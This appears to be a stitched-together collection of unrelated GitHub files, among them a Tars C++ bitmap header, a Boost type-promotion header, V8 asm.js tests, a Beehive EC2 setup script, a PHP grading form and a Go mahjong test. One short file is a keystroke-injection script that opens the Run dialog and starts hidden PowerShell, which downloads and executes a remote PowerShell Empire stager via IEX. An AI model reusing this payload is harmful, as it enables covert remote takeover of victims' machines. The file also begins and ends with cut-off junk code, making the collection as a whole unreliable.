a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;
a = 1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1+1;*/
}
}
}
| {
"pile_set_name": "Github"
} |
/**
* Tencent is pleased to support the open source community by making Tars available.
*
* Copyright (C) 2016THL A29 Limited, a Tencent company. All rights reserved.
*
* Licensed under the BSD 3-Clause License (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* https://opensource.org/licenses/BSD-3-Clause
*
* Unless required by applicable law or agreed to in writing, software distributed
* under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR
* CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*/
#ifndef __TC_BIT_MAP_H__
#define __TC_BIT_MAP_H__
#include <iostream>
#include <string>
#include <vector>
#include "util/tc_ex.h"
using namespace std;
namespace tars
{
/////////////////////////////////////////////////
/**
* @file tc_bitmap.h
* @brief Multi-bit Bitmap Class
* @brief 多位bitmap类.
*/
/////////////////////////////////////////////////
/**
* @brief Exception
* @brief 异常
*/
struct TC_BitMap_Exception : public TC_Exception
{
TC_BitMap_Exception(const string &buffer) : TC_Exception(buffer){};
~TC_BitMap_Exception() throw(){};
};
/**
* @brief Memory bitmap, 1 bit for each integer, can support multiple bits,
* that is, several bits for several integers.
* @brief 内存bitmap,每个整数1位,可以支持多位,即几个整数多位.
*
* The process of the operation will not be locked.
* If it needs to be locked when called outside, the group lock strategy is usually adopted.
* 操作过程不加锁,如果有需要在外面调用的时候加,通常采用群锁策略.
*
* Attention that according to the group lock strategy,
* memory block address should be divided by 8,
* and then lock the blocks group by the tail number.
* 注意群锁策略应该/8,然后按照尾号分群锁
*/
class TC_BitMap
{
public:
/**
* @brief the bitmap of memories, each integer holds 1 bit
* @brief 内存的bitmap,每个整数保持1位
*/
class BitMap
{
public:
static const int _magic_bits[8];
#define _set_bit(n,m) (n|_magic_bits[m])
#define _clear_bit(n,m) (n&(~_magic_bits[m]))
#define _get_bit(n,m) (n&_magic_bits[m])
/**the Version of Shared Memories*/
/**共享内存版本*/
#define BM_VERSION 1
/**
* @brief Calculate the size of the required memory based on the number of elements.
* @brief 根据元素个数计算需要内存的大小
*
* @param iElementCount The number of elements to be saved (marked start from 0)
* @param iElementCount 需要保存的元素个数(元素从0开始记)
*
* @return size_t
*/
static size_t calcMemSize(size_t iElementCount);
/**
* @brief Initialize
* @brief 初始化
*
* @param pAddr Absolute address
* @param pAddr 绝对地址
*
* @param iSize size, calculated by (calcMemSize)
* @param iSize 大小, 采用(calcMemSize)计算出来
*
* @return 0: success, -1: lack of memories
* @return 0: 成功, -1: 内存不够
*/
void create(void *pAddr, size_t iSize);
/**
* @brief Link to a memory block
* @brief 链接到内存块
*
* @param pAddr Address, calculated by (calcMemSize)
* @param pAddr 地址, 采用(calcMemSize)计算出来
*
* @return 0:success, -1:wrong version, -2:wrong size
* @return 0:成功, -1:版本不对, -2:大小不对
*
*/
int connect(void *pAddr, size_t iSize);
/**
* @brief Whether it have mark or not
* @brief 是否有标识
*
* @param i
*
* @return int, >0:marked, =0:no mark, <0:out of range
* @return int, >0:有标识, =0:无标识, <0:超过范围
*
*/
int get(size_t i);
/**
* @brief Mark
* @brief 设置标识
*
* @param i
*
* @return int, >0:marked, =0:no mark, <0:out of range
* @return int, >0:有标识, =0:无标识, <0:超过范围
*/
int set(size_t i);
/**
* @brief Clear Marks
* @brief 清除标识
*
* @param i
*
* @return int, >0:marked, =0:no mark, <0:out of range
* @return int, >0:有标识, =0:无标识, <0:超过范围
*/
int clear(size_t i);
/**
* @brief Clear all data
* @brief 清除所有的数据
*
* @return int
*/
int clear4all();
/**
* @brief Dump to File
* @brief dump到文件
* @param sFile
*
* @return int
*/
int dump2file(const string &sFile);
/**
* @brief Load from File
* @brief 从文件load
*
* @param sFile
*
* @return int
*/
int load5file(const string &sFile);
/**the Head of Shared Memories*/
/**共享内存头部*/
#pragma pack(1)
struct tagBitMapHead
{
char _cVersion; /**version, the current version is 1*/
/**版本, 当前版本为1*/
size_t _iMemSize; /**the size of the shared memory*/
/**共享内存大小*/
};
#pragma pack()
/**
* @brief get the address of the head
* @brief 获取头部地址
*
* @return tagBitMapHead* the head of the shared memory
* @return tagBitMapHead* 共享内存头部
*/
BitMap::tagBitMapHead *getAddr() const { return _pHead; }
/**
* @brief get the size of the memory
* @brief 获取内存大小
*
* @return the size of the memory
* @return 内存大小
*
*/
size_t getMemSize() const { return _pHead->_iMemSize; }
protected:
/**
* the Head of the Shared Memory
* 共享内存头部
*/
tagBitMapHead *_pHead;
/**
* pointer of a data block
* 数据块指针
*/
unsigned char * _pData;
};
/**
* @brief Calculate the memory size according to count the number of the elements.
* @brief 根据元素个数计算需要内存的大小
*
* @param iElementCount the number of the elements which needs to be saved(marked started from 0)
* @param iElementCount 需要保存的元素个数(元素从0开始记)
*
* @param iBitCount the max bit value of each element(defualt for 1 bit)(each bit>=1)
* @param iBitCount 每个元素支持几位(默认1位) (位数>=1)
*
* @return the required size of the memory
* @return 所需内存的大小
*
*/
static size_t calcMemSize(size_t iElementCount, unsigned iBitCount = 1);
/**
* @brief Initialize
* @brief 初始化
*
* @param pAddr Absolute Address
* @param pAddr 绝对地址
*
* @param iSize Size, Calculate by (calcMemSize)
* @param iSize 大小, 采用(calcMemSize)计算出来
*
* @return 0: success, -1:lack of memories
* @return 0: 成功, -1:内存不够
*
*/
void create(void *pAddr, size_t iSize, unsigned iBitCount = 1);
/**
* @brief Link to Memory Blocks
* @brief 链接到内存块
*
* @param pAddr Address, Calculate by (calcMemSize)
* @param pAddr 地址,采用(calcMemSize)计算出来
*
* @return 0:success, -1:wrong version, -2:wrong size
* @return 0:成功, -1:版本不对, -2:大小不对
*
*/
int connect(void *pAddr, size_t iSize, unsigned iBitCount = 1);
/**
* @brief Whether it is Marked or not
* @brief 是否有标识
*
* @param i the value of the element
* @param i 元素值
*
* @param iBit bit number
* @param iBit 第几位
*
* @return int, >0:maked, =0:no mark, <0:out of range
* @return int, >0:有标识, =0:无标识, <0:超过范围
*
*/
int get(size_t i, unsigned iBit = 1);
/**
* @brief Mark
* @brief 设置标识
*
* @param i the value of the element
* @param i 元素值
*
* @param iBit bit number
* @param iBit 第几位
*
* @return int, >0:marked, =0:no mark, <0:outof range
* @return int, >0:有标识, =0:无标识, <0:超过范围
*
*/
int set(size_t i, unsigned iBit = 1);
/**
* @brief Clear a mark
* @brief 清除标识
*
* @param i the value of the element
* @param i 元素值
*
* @param iBit bit number
* @param iBit 第几位
*
* @return int, >0:marked, =0:no mark, <0:out of range
* @return int, >0:有标识, =0:无标识, <0:超过范围
*/
int clear(size_t i, unsigned iBit = 1);
/**
* @brief Clear all marks
* @brief 清除所有的标识
*
* @param iBit bit number
* @param iBit 第几位
*
* @return int
*/
int clear4all(unsigned iBit = (unsigned)(-1));
/**
* @brief Dump to File
* @brief dump到文件
*
* @param sFile
*
* @return int
*/
int dump2file(const string &sFile);
/**
* @brief Load from File
* @brief 从文件load
*
* @param sFile
*
* @return int
*/
int load5file(const string &sFile);
protected:
vector<BitMap> _bitmaps;
};
}
#endif
| {
"pile_set_name": "Github"
} |
GUI r
DELAY 500
STRING powershell -w 1 -nop -noni -c "IEX (iwr 'https://goo.gl/XXXXXXX')"
ENTER
REM Where https://goo.gl/XXXXXXX forwards to a raw version of a GIST containing an Empire Stager | {
"pile_set_name": "Github"
} |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
module.exports = class FileKindPlugin {
constructor(source, target) {
this.source = source;
this.target = target;
}
apply(resolver) {
const target = resolver.ensureHook(this.target);
resolver
.getHook(this.source)
.tapAsync("FileKindPlugin", (request, resolveContext, callback) => {
if (request.directory) return callback();
const obj = Object.assign({}, request);
delete obj.directory;
resolver.doResolve(target, obj, null, resolveContext, callback);
});
}
};
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
</head>
<body>
<noscript>
<strong>
We're sorry but this app doesn't work properly without JavaScript enabled. Please enable it to continue.
</strong>
</noscript>
<div id="app"></div>
</body>
</html> | {
"pile_set_name": "Github"
} |
// Copyright 2016 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --validate-asm --allow-natives-syntax
function WrapInAsmModule(func) {
function MODULE_NAME(stdlib) {
"use asm";
var fround = stdlib.Math.fround;
var Math_ceil = stdlib.Math.ceil;
var Math_floor = stdlib.Math.floor;
var Math_sqrt = stdlib.Math.sqrt;
var Math_abs = stdlib.Math.abs;
var Math_min = stdlib.Math.min;
var Math_max = stdlib.Math.max;
FUNC_BODY
return {main: FUNC_NAME};
}
var source = MODULE_NAME.toString()
.replace(/MODULE_NAME/g, func.name + "_module")
.replace(/FUNC_BODY/g, func.toString())
.replace(/FUNC_NAME/g, func.name);
return eval("(" + source + ")");
}
function RunAsmJsTest(asmfunc, expect) {
var asm_source = asmfunc.toString();
var nonasm_source = asm_source.replace(new RegExp("use asm"), "");
var stdlib = {Math: Math};
print("Testing " + asmfunc.name + " (js)...");
var js_module = eval("(" + nonasm_source + ")")(stdlib);
expect(js_module);
print("Testing " + asmfunc.name + " (asm.js)...");
var asm_module = asmfunc(stdlib);
assertTrue(%IsAsmWasmCode(asmfunc));
expect(asm_module);
}
var fround = Math.fround;
var Math_ceil = Math.ceil;
var Math_floor = Math.floor;
var Math_sqrt = Math.sqrt;
var Math_abs = Math.abs;
var Math_min = Math.min;
var Math_max = Math.max;
function f32_add(a, b) {
a = fround(a);
b = fround(b);
return fround(fround(a) + fround(b));
}
function f32_sub(a, b) {
a = fround(a);
b = fround(b);
return fround(fround(a) - fround(b));
}
function f32_mul(a, b) {
a = fround(a);
b = fround(b);
return fround(fround(a) * fround(b));
}
function f32_div(a, b) {
a = fround(a);
b = fround(b);
return fround(fround(a) / fround(b));
}
function f32_ceil(a) {
a = fround(a);
return fround(Math_ceil(fround(a)));
}
function f32_floor(a) {
a = fround(a);
return fround(Math_floor(fround(a)));
}
function f32_sqrt(a) {
a = fround(a);
return fround(Math_sqrt(fround(a)));
}
function f32_abs(a) {
a = fround(a);
return fround(Math_abs(fround(a)));
}
function f32_min(a, b) {
a = fround(a);
b = fround(b);
return fround(Math_min(fround(a), fround(b)));
}
function f32_max(a, b) {
a = fround(a);
b = fround(b);
return fround(Math_max(fround(a), fround(b)));
}
function f32_eq(a, b) {
a = fround(a);
b = fround(b);
if (fround(a) == fround(b)) {
return 1;
}
return 0;
}
function f32_ne(a, b) {
a = fround(a);
b = fround(b);
if (fround(a) != fround(b)) {
return 1;
}
return 0;
}
function f32_lt(a, b) {
a = fround(a);
b = fround(b);
if (fround(a) < fround(b)) {
return 1;
}
return 0;
}
function f32_lteq(a, b) {
a = fround(a);
b = fround(b);
if (fround(a) <= fround(b)) {
return 1;
}
return 0;
}
function f32_gt(a, b) {
a = fround(a);
b = fround(b);
if (fround(a) > fround(b)) {
return 1;
}
return 0;
}
function f32_gteq(a, b) {
a = fround(a);
b = fround(b);
if (fround(a) >= fround(b)) {
return 1;
}
return 0;
}
function f32_neg(a) {
a = fround(a);
return fround(-a);
}
var inputs = [
0, 1,
NaN,
Infinity,
-Infinity,
2147483646,
2147483647,
2147483648,
2147483649,
4026531840, // 0xf0000000
4294967293, // 0xfffffffd
4294967295, // 0xffffffff
-0, -1,
-2147483646,
-2147483647,
-2147483648,
-2147483649,
0.1,
1.1e-2,
1.6e-13
];
var funcs = [
f32_add, f32_sub, f32_mul, f32_div, f32_ceil, f32_floor, f32_sqrt, f32_abs,
f32_min, f32_max, f32_eq, f32_ne, f32_lt, f32_lteq, f32_gt, f32_gteq, f32_neg
];
(function () {
for (func of funcs) {
RunAsmJsTest(WrapInAsmModule(func), function (module) {
if (func.length == 1) {
for (a of inputs) {
assertEquals(func(a), module.main(a));
assertEquals(func(a / 11), module.main(a / 11));
assertEquals(func(a / 430.9), module.main(a / 430.9));
assertEquals(func(a / -31.1), module.main(a / -31.1));
}
} else {
for (a of inputs) {
for (b of inputs) {
assertEquals(func(a, b), module.main(a, b));
assertEquals(func(a / 11, b), module.main(a / 11, b));
assertEquals(func(a, b / 420.9), module.main(a, b / 420.9));
assertEquals(func(a / -31.1, b), module.main(a / -31.1, b));
}
}
}
});
}
})();
| {
"pile_set_name": "Github"
} |
/**
* @author Richard Davey <[email protected]>
* @copyright 2020 Photon Storm Ltd.
* @license {@link https://opensource.org/licenses/MIT|MIT License}
*/
/**
* The Sound Manager Global Rate Event.
*
* This event is dispatched by the Base Sound Manager, or more typically, an instance of the Web Audio Sound Manager,
* or the HTML5 Audio Manager. It is dispatched when the `rate` property of the Sound Manager is changed, which globally
* adjusts the playback rate of all active sounds.
*
* Listen to it from a Scene using: `this.sound.on('rate', listener)`.
*
* @event Phaser.Sound.Events#GLOBAL_RATE
* @since 3.0.0
*
* @param {Phaser.Sound.BaseSoundManager} soundManager - A reference to the sound manager that emitted the event.
* @param {number} rate - The updated rate value.
*/
module.exports = 'rate';
| {
"pile_set_name": "Github"
} |
#!/bin/bash
BEEHIVE_USER_HOME=${1:-'/var/lib/beehive'}
INSTALL_PREFIX=${2:-''}
TWITTER_USERNAME=${3:-'getbeehive'}
ROUTER_HOST=${4:-''}
SRC_DIR="/tmp/beehive"
sudo apt-get update -y
sudo apt-get install -y curl git-core
sudo apt-get install -y build-essential libc6-dev m4 libssl-dev libncurses5 libncurses5-dev libcap-dev
sudo apt-get install -y ruby rubygems ruby-dev libopenssl-ruby
sudo apt-get install -y spidermonkey-bin
sudo apt-get install -y erlang-nox erlang-base-hipe erlang-dev erlang-tools
# So we can deploy thin and rack apps
sudo gem install rack thin --no-rdoc --no-ri
sudo gem install haml sinatra --no-rdoc --no-ri
cd /tmp
# Grab and install jsawk
curl http://github.com/micha/jsawk/raw/master/jsawk > jsawk
chmod +x jsawk
sudo mv jsawk /usr/bin
## Prepare beehive directories
sudo mkdir -p $BEEHIVE_USER_HOME
if [ $(sudo cat /etc/passwd | grep ^beehive | grep -v "#" | wc -l) -eq 0 ]; then
sudo useradd -s /bin/bash -b $BEEHIVE_USER_HOME -d $BEEHIVE_USER_HOME -c "beehive user" -g users beehive;
fi
echo "options loop max_loop=256" > /etc/modprobe.d/loop.conf
modprobe loop
rmmod loop
FIRST_N_CHARS_OF_PUB_KEY=`curl http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key/ | awk '{str=$2} END {print substr(str, 0, 30)}'`
echo $FIRST_N_CHARS_OF_PUB_KEY > /tmp/.erlang.cookie
sudo mv /tmp/.erlang.cookie $BEEHIVE_USER_HOME
sudo chmod 600 $BEEHIVE_USER_HOME/.erlang.cookie
sudo chown beehive -R $BEEHIVE_USER_HOME
sudo cp $BEEHIVE_USER_HOME/.erlang.cookie /root/.erlang.cookie
####### behive stuff
# mkdir -p $BEEHIVE_HOME/src && cd $BEEHIVE_HOME/src
git clone --depth 0 git://github.com/auser/beehive.git $SRC_DIR
# curl -o $BEEHIVE_HOME/src/beehive.tgz https://github.com/auser/beehive/tarball/master
cd $SRC_DIR/lib/erlang
sudo make
sudo make install
cd $SRC_DIR
# Root has to run stuff... hrmph!
sudo cp -R $BEEHIVE_USER_HOME/* /root
# Start the beehive
if [ -z $ROUTER_HOST ]; then
ROUTER_HOST=$(curl -sL "http://twitter.com/users/$TWITTER_USERNAME.json" | jsawk 'return this.status.text')
ROUTER_ATOM="router@$ROUTER_HOST"
else
ROUTER_ATOM=$ROUTER_HOST
fi
sudo -H -u root $INSTALL_PREFIX/usr/bin/start_beehive -d -t node -s $ROUTER_ATOM
# Root needs to mount - TODO
sudo -H -u root $INSTALL_PREFIX/usr/bin/start_beehive -d -t storage -s $ROUTER_ATOM
# Create as many loop back devices as we can
for i in $(seq 0 255); do
sudo mknod -m0660 /dev/loop$i b 7 $i
done
echo " -- completed bee user-data script ---"
| {
"pile_set_name": "Github"
} |
// boost\math\tools\promotion.hpp
// Copyright John Maddock 2006.
// Copyright Paul A. Bristow 2006.
// Use, modification and distribution are subject to the
// Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt
// or copy at http://www.boost.org/LICENSE_1_0.txt)
// Promote arguments functions to allow math functions to have arguments
// provided as integer OR real (floating-point, built-in or UDT)
// (called ArithmeticType in functions that use promotion)
// that help to reduce the risk of creating multiple instantiations.
// Allows creation of an inline wrapper that forwards to a foo(RT, RT) function,
// so you never get to instantiate any mixed foo(RT, IT) functions.
#ifndef BOOST_MATH_PROMOTION_HPP
#define BOOST_MATH_PROMOTION_HPP
#ifdef _MSC_VER
#pragma once
#endif
// Boost type traits:
#include <boost/math/tools/config.hpp>
#include <boost/type_traits/is_floating_point.hpp> // for boost::is_floating_point;
#include <boost/type_traits/is_integral.hpp> // for boost::is_integral
#include <boost/type_traits/is_convertible.hpp> // for boost::is_convertible
#include <boost/type_traits/is_same.hpp>// for boost::is_same
#include <boost/type_traits/remove_cv.hpp>// for boost::remove_cv
// Boost Template meta programming:
#include <boost/mpl/if.hpp> // for boost::mpl::if_c.
#include <boost/mpl/and.hpp> // for boost::mpl::if_c.
#include <boost/mpl/or.hpp> // for boost::mpl::if_c.
#include <boost/mpl/not.hpp> // for boost::mpl::if_c.
#ifdef BOOST_MATH_NO_LONG_DOUBLE_MATH_FUNCTIONS
#include <boost/static_assert.hpp>
#endif
namespace boost
{
namespace math
{
namespace tools
{
// If either T1 or T2 is an integer type,
// pretend it was a double (for the purposes of further analysis).
// Then pick the wider of the two floating-point types
// as the actual signature to forward to.
// For example:
// foo(int, short) -> double foo(double, double);
// foo(int, float) -> double foo(double, double);
// Note: NOT float foo(float, float)
// foo(int, double) -> foo(double, double);
// foo(double, float) -> double foo(double, double);
// foo(double, float) -> double foo(double, double);
// foo(any-int-or-float-type, long double) -> foo(long double, long double);
// but ONLY float foo(float, float) is unchanged.
// So the only way to get an entirely float version is to call foo(1.F, 2.F),
// But since most (all?) the math functions convert to double internally,
// probably there would not be the hoped-for gain by using float here.
// This follows the C-compatible conversion rules of pow, etc
// where pow(int, float) is converted to pow(double, double).
template <class T>
struct promote_arg
{ // If T is integral type, then promote to double.
typedef typename mpl::if_<is_integral<T>, double, T>::type type;
};
// These full specialisations reduce mpl::if_ usage and speed up
// compilation:
template <> struct promote_arg<float> { typedef float type; };
template <> struct promote_arg<double>{ typedef double type; };
template <> struct promote_arg<long double> { typedef long double type; };
template <> struct promote_arg<int> { typedef double type; };
template <class T1, class T2>
struct promote_args_2
{ // Promote, if necessary, & pick the wider of the two floating-point types.
// for both parameter types, if integral promote to double.
typedef typename promote_arg<T1>::type T1P; // T1 perhaps promoted.
typedef typename promote_arg<T2>::type T2P; // T2 perhaps promoted.
typedef typename mpl::if_<
typename mpl::and_<is_floating_point<T1P>, is_floating_point<T2P> >::type, // both T1P and T2P are floating-point?
typename mpl::if_< typename mpl::or_<is_same<long double, T1P>, is_same<long double, T2P> >::type, // either long double?
long double, // then result type is long double.
typename mpl::if_< typename mpl::or_<is_same<double, T1P>, is_same<double, T2P> >::type, // either double?
double, // result type is double.
float // else result type is float.
>::type
>::type,
// else one or the other is a user-defined type:
typename mpl::if_< typename mpl::and_<mpl::not_<is_floating_point<T2P> >, ::boost::is_convertible<T1P, T2P> >, T2P, T1P>::type>::type type;
}; // promote_arg2
// These full specialisations reduce mpl::if_ usage and speed up
// compilation:
template <> struct promote_args_2<float, float> { typedef float type; };
template <> struct promote_args_2<double, double>{ typedef double type; };
template <> struct promote_args_2<long double, long double> { typedef long double type; };
template <> struct promote_args_2<int, int> { typedef double type; };
template <> struct promote_args_2<int, float> { typedef double type; };
template <> struct promote_args_2<float, int> { typedef double type; };
template <> struct promote_args_2<int, double> { typedef double type; };
template <> struct promote_args_2<double, int> { typedef double type; };
template <> struct promote_args_2<int, long double> { typedef long double type; };
template <> struct promote_args_2<long double, int> { typedef long double type; };
template <> struct promote_args_2<float, double> { typedef double type; };
template <> struct promote_args_2<double, float> { typedef double type; };
template <> struct promote_args_2<float, long double> { typedef long double type; };
template <> struct promote_args_2<long double, float> { typedef long double type; };
template <> struct promote_args_2<double, long double> { typedef long double type; };
template <> struct promote_args_2<long double, double> { typedef long double type; };
template <class T1, class T2=float, class T3=float, class T4=float, class T5=float, class T6=float>
struct promote_args
{
typedef typename promote_args_2<
typename remove_cv<T1>::type,
typename promote_args_2<
typename remove_cv<T2>::type,
typename promote_args_2<
typename remove_cv<T3>::type,
typename promote_args_2<
typename remove_cv<T4>::type,
typename promote_args_2<
typename remove_cv<T5>::type, typename remove_cv<T6>::type
>::type
>::type
>::type
>::type
>::type type;
#ifdef BOOST_MATH_NO_LONG_DOUBLE_MATH_FUNCTIONS
//
// Guard against use of long double if it's not supported:
//
BOOST_STATIC_ASSERT((0 == ::boost::is_same<type, long double>::value));
#endif
};
} // namespace tools
} // namespace math
} // namespace boost
#endif // BOOST_MATH_PROMOTION_HPP
| {
"pile_set_name": "Github"
} |
<?php
/* For licensing terms, see /license.txt */
/**
* Class ScoreDisplayForm
* Form for the score display dialog.
*
* @author Stijn Konings
* @author Bert Steppé
*/
class ScoreDisplayForm extends FormValidator
{
/**
* @param $form_name
* @param null $action
*/
public function __construct($form_name, $action = null)
{
parent::__construct($form_name, 'post', $action);
$displayscore = ScoreDisplay::instance();
$customdisplays = $displayscore->get_custom_score_display_settings();
$nr_items = ('0' != count($customdisplays)) ? count($customdisplays) : '1';
$this->setDefaults(
[
'scorecolpercent' => $displayscore->get_color_split_value(),
]
);
$this->addElement('hidden', 'maxvalue', '100');
$this->addElement('hidden', 'minvalue', '0');
$counter = 1;
// Setting the default values
if (is_array($customdisplays)) {
foreach ($customdisplays as $customdisplay) {
$this->setDefaults(
[
'endscore['.$counter.']' => $customdisplay['score'],
'displaytext['.$counter.']' => $customdisplay['display'],
]
);
$counter++;
}
}
// Settings for the colored score
$this->addElement('header', get_lang('Skills ranking'));
if ($displayscore->is_coloring_enabled()) {
$this->addElement('html', '<b>'.get_lang('Competence thresholds colouring').'</b>');
$this->addElement(
'text',
'scorecolpercent',
[get_lang('Below'), get_lang('The mark will be coloured in red'), '%'],
[
'size' => 5,
'maxlength' => 5,
'input-size' => 2,
]
);
if ('true' != api_get_setting('teachers_can_change_score_settings')) {
$this->freeze('scorecolpercent');
}
$this->addRule('scorecolpercent', get_lang('Only numbers'), 'numeric');
$this->addRule(['scorecolpercent', 'maxvalue'], get_lang('Over 100'), 'compare', '<=');
$this->addRule(['scorecolpercent', 'minvalue'], get_lang('Under the minimum.'), 'compare', '>');
}
// Settings for the scoring system
if ($displayscore->is_custom()) {
$this->addElement('html', '<br /><b>'.get_lang('Skills ranking').'</b>');
$this->addElement('static', null, null, get_lang('Score info'));
$this->setDefaults([
'beginscore' => '0',
]);
$this->addElement('text', 'beginscore', [get_lang('Between'), null, '%'], [
'size' => 5,
'maxlength' => 5,
'disabled' => 'disabled',
'input-size' => 2,
]);
for ($counter = 1; $counter <= 20; $counter++) {
$renderer = &$this->defaultRenderer();
$elementTemplateTwoLabel =
'<div id='.$counter.' style="display: '.(($counter <= $nr_items) ? 'inline' : 'none').';">
<!-- BEGIN required --><span class="form_required">*</span> <!-- END required -->
<label class="control-label">{label}</label>
<div class="form-group">
<label class="col-sm-2 control-label">
</label>
<div class="col-sm-1">
<!-- BEGIN error --><span class="form_error">{error}</span><br />
<!-- END error --> <b>'.get_lang('and').'</b>
</div>
<div class="col-sm-2">
{element}
</div>
<div class="col-sm-1">
=
</div>';
$elementTemplateTwoLabel2 = '
<div class="col-sm-2">
<!-- BEGIN error --><span class="form_error">{error}</span>
<!-- END error -->
{element}
</div>
<div class="col-sm-1">
<a href="javascript:plusItem('.($counter + 1).')">
<img style="display: '.(($counter >= $nr_items) ? 'inline' : 'none').';" id="plus-'.($counter + 1).'" src="'.Display::returnIconPath('add.png').'" alt="'.get_lang('Add').'" title="'.get_lang('Add').'"></a>
<a href="javascript:minItem('.($counter).')">
<img style="display: '.(($counter >= $nr_items && 1 != $counter) ? 'inline' : 'none').';" id="min-'.$counter.'" src="'.Display::returnIconPath('delete.png').'" alt="'.get_lang('Delete').'" title="'.get_lang('Delete').'"></a>
</div>
</div>
</div>';
$this->addElement(
'text',
'endscore['.$counter.']',
null,
[
'size' => 5,
'maxlength' => 5,
'id' => 'txta-'.$counter,
'input-size' => 2,
]
);
$this->addElement(
'text',
'displaytext['.$counter.']',
null,
[
'size' => 40,
'maxlength' => 40,
'id' => 'txtb-'.$counter,
]
);
$renderer->setElementTemplate($elementTemplateTwoLabel, 'endscore['.$counter.']');
$renderer->setElementTemplate($elementTemplateTwoLabel2, 'displaytext['.$counter.']');
$this->addRule('endscore['.$counter.']', get_lang('Only numbers'), 'numeric');
$this->addRule(['endscore['.$counter.']', 'maxvalue'], get_lang('Over 100'), 'compare', '<=');
$this->addRule(['endscore['.$counter.']', 'minvalue'], get_lang('Under the minimum.'), 'compare', '>');
}
}
if ($displayscore->is_custom()) {
$this->addButtonSave(get_lang('Validate'));
}
}
public function validate()
{
return parent::validate();
}
}
| {
"pile_set_name": "Github"
} |
package main
import (
"fmt"
"mjlib"
"time"
)
func print_cards(cards []int) {
for i := 0; i < 9; i++ {
fmt.Printf("%d,", cards[i])
}
fmt.Printf("\n")
for i := 9; i < 18; i++ {
fmt.Printf("%d,", cards[i])
}
fmt.Printf("\n")
for i := 18; i < 27; i++ {
fmt.Printf("%d,", cards[i])
}
fmt.Printf("\n")
for i := 27; i < 34; i++ {
fmt.Printf("%d,", cards[i])
}
fmt.Printf("\n")
}
var tested = map[int]bool{}
func check_hu(cards []int, max int) {
for i := 0; i < max; i++ {
if cards[i] > 4 {
return
}
}
num := 0
for i := 0; i < 9; i++ {
num = num*10 + cards[i]
}
_, ok := tested[num]
if ok {
return
}
tested[num] = true
for i := 0; i < max; i++ {
if !mjlib.MHuLib.GetHuInfo(cards, 34, 34, 34) {
fmt.Printf("测试失败 i=%d\n", i)
print_cards(cards)
}
}
}
func gen_auto_table_sub(cards []int, level int) {
for i := 0; i < 32; i++ {
index := -1
if i <= 17 {
cards[i] += 3
} else if i <= 24 {
index = i - 18
} else {
index = i - 16
}
if index >= 0 {
cards[index] += 1
cards[index+1] += 1
cards[index+2] += 1
}
if level == 4 {
check_hu(cards, 18)
} else {
gen_auto_table_sub(cards, level+1)
}
if i <= 17 {
cards[i] -= 3
} else {
cards[index] -= 1
cards[index+1] -= 1
cards[index+2] -= 1
}
}
}
func test_two_color() {
fmt.Println("测试两种花色")
cards := []int{
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0,
}
for i := 0; i < 18; i++ {
cards[i] = 2
fmt.Printf("将 %d\n", i+1)
gen_auto_table_sub(cards, 1)
cards[i] = 0
}
}
func test_one_success() {
cards := []int{
0, 0, 0, 0, 0, 1, 0, 0, 0,
1, 1, 0, 0, 0, 0, 1, 0, 0,
0, 0, 1, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 0, 4, 4,
}
fmt.Println("测试1种能胡的牌型")
print_cards(cards)
if mjlib.MHuLib.GetHuInfo(cards, 34, 32, 33) {
fmt.Println("测试通过:胡牌")
} else {
fmt.Println("测试失败:能胡的牌型判断为不能胡牌")
}
}
func test_one_fail() {
cards := []int{
0, 1, 1, 1, 0, 0, 1, 0, 1,
0, 1, 1, 1, 0, 0, 2, 2, 2,
0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0,
}
fmt.Println("测试1种不能胡的牌型")
print_cards(cards)
if !mjlib.MHuLib.GetHuInfo(cards, 34, 34, 34) {
fmt.Println("测试通过:不能胡牌")
} else {
fmt.Println("测试失败:不能胡牌的牌型判断为胡了")
}
